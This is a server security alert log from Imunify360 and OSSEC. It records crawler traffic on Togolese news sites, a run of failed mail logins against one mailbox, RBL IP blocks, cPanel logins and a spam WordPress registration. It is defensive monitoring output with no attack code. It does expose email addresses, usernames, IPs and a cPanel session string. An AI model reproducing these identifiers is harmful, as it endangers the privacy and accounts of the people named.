47.128.96.204 - - [09/Jun/2026:16:31:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067096&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022679 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.75.243.132
country_id: 2542007
description:
Jun  9 16:31:24 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.75.243.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:32:36 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1300: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [09/Jun/2026:16:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002904&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fherve-djessoa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022731 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/herve-djessoa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [09/Jun/2026:16:32:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012779&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022739 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [09/Jun/2026:16:34:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673071&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprofanation-des-tombeaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022845 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/profanation-des-tombeaux/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:33:35 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1307: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [09/Jun/2026:16:33:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938344&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022800 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:34:36 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1308: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [09/Jun/2026:16:35:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313262&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrasserie-bb-recrute-pour-son-site-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022929 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brasserie-bb-recrute-pour-son-site-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [09/Jun/2026:16:36:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793428&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Falm-photography%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022961 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/alm-photography/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 16:35:41 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [09/Jun/2026:16:36:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919834&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvol-de-compteur-deau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022968 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vol-de-compteur-deau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:35:36 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1310: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:36:38 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1317: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.34.90
country_id: 2363686
description:
[2026-06-09 16:36:31 +0000] info [cpaneld] 196.171.34.90 NEW qgqjistz:4yQalS9GbCsC1RtA address=196.171.34.90,app=cpaneld,creator=qgqjistz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.194
country_id: 1880251
description:
47.128.96.194 - - [09/Jun/2026:16:36:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462057&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmarc-vizy%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023012 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/marc-vizy/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 16:37:15 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:16:37:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236755&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvoleur-de-sacs-detudiants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023038 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/voleur-de-sacs-detudiants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:16:37:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919878&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-des-casques-bleus-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023044 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-des-casques-bleus-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:37:46 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1320: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [09/Jun/2026:16:39:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999972&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fweek-end-prolonge-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023142 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/week-end-prolonge-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [09/Jun/2026:16:38:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015394&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsitsofe-agbedanou%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023135 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sitsofe-agbedanou/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [09/Jun/2026:16:38:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711656&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprofanation-des-tombeaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023108 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/profanation-des-tombeaux/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [09/Jun/2026:16:38:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134227&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023115 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [09/Jun/2026:16:38:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261653&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-specialisee-dans-le-financement-du-secteur-agricole%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023127 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-specialisee-dans-le-financement-du-secteur-agricole/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:38:47 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:11648: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [09/Jun/2026:16:39:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922669&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fherve-djessoa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023160 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/herve-djessoa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [09/Jun/2026:16:39:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054499&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023163 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [09/Jun/2026:16:39:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724058&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-femme-leader-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023167 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-femme-leader-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:39:49 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:5504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:40:49 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:5509: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [09/Jun/2026:16:41:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235478&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuivi-en-ligne-de-sa-demande-de-passeport-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023262 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/suivi-en-ligne-de-sa-demande-de-passeport-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:16:40:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12764825&pdata=https%253A%252F%252Ftdn.tg%252Facheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023211 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/acheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [09/Jun/2026:16:41:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920140&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvoeux-a-la-nation-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023294 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/voeux-a-la-nation-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:41:55 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:5511: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun  9 16:42:08 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:42:51 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:5504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:43:51 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16769: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 16:43:12 +0000] info [cpaneld] 102.54.238.57 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:44:53 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16770: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 16:44:55 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [09/Jun/2026:16:45:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327191&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnouveaux-cas-positifs-de-coronavirus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023507 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nouveaux-cas-positifs-de-coronavirus/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.140
country_id: 1880251
description:
47.128.96.140 - - [09/Jun/2026:16:45:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725029&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnegociateurs-climat-de-la-cedeao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023514 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/negociateurs-climat-de-la-cedeao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.140


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:46:00 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16773: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [09/Jun/2026:16:46:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301734&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbernard-adzorgenu-membre-du-jury-de-medal-design-competition%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023609 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bernard-adzorgenu-membre-du-jury-de-medal-design-competition/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:47:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16776: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:48:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16777: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [09/Jun/2026:16:47:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661797&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrasserie-bb-recrute-pour-son-site-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023635 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brasserie-bb-recrute-pour-son-site-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:16-49.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Win Your Virtual Game Object vamvozmviigr.blogspot.gr uo||Email:martinebour71@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:49:02 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:13568: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun  9 16:49:28 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:50:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:14464: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.2.44.54
country_id: 1269750
description:
Jun  9 16:50:32 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.2.44.54 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [09/Jun/2026:16:50:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392980&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781023832 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:51:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:16000: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 16:50:20 +0000] info [cpaneld] 102.54.238.57 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
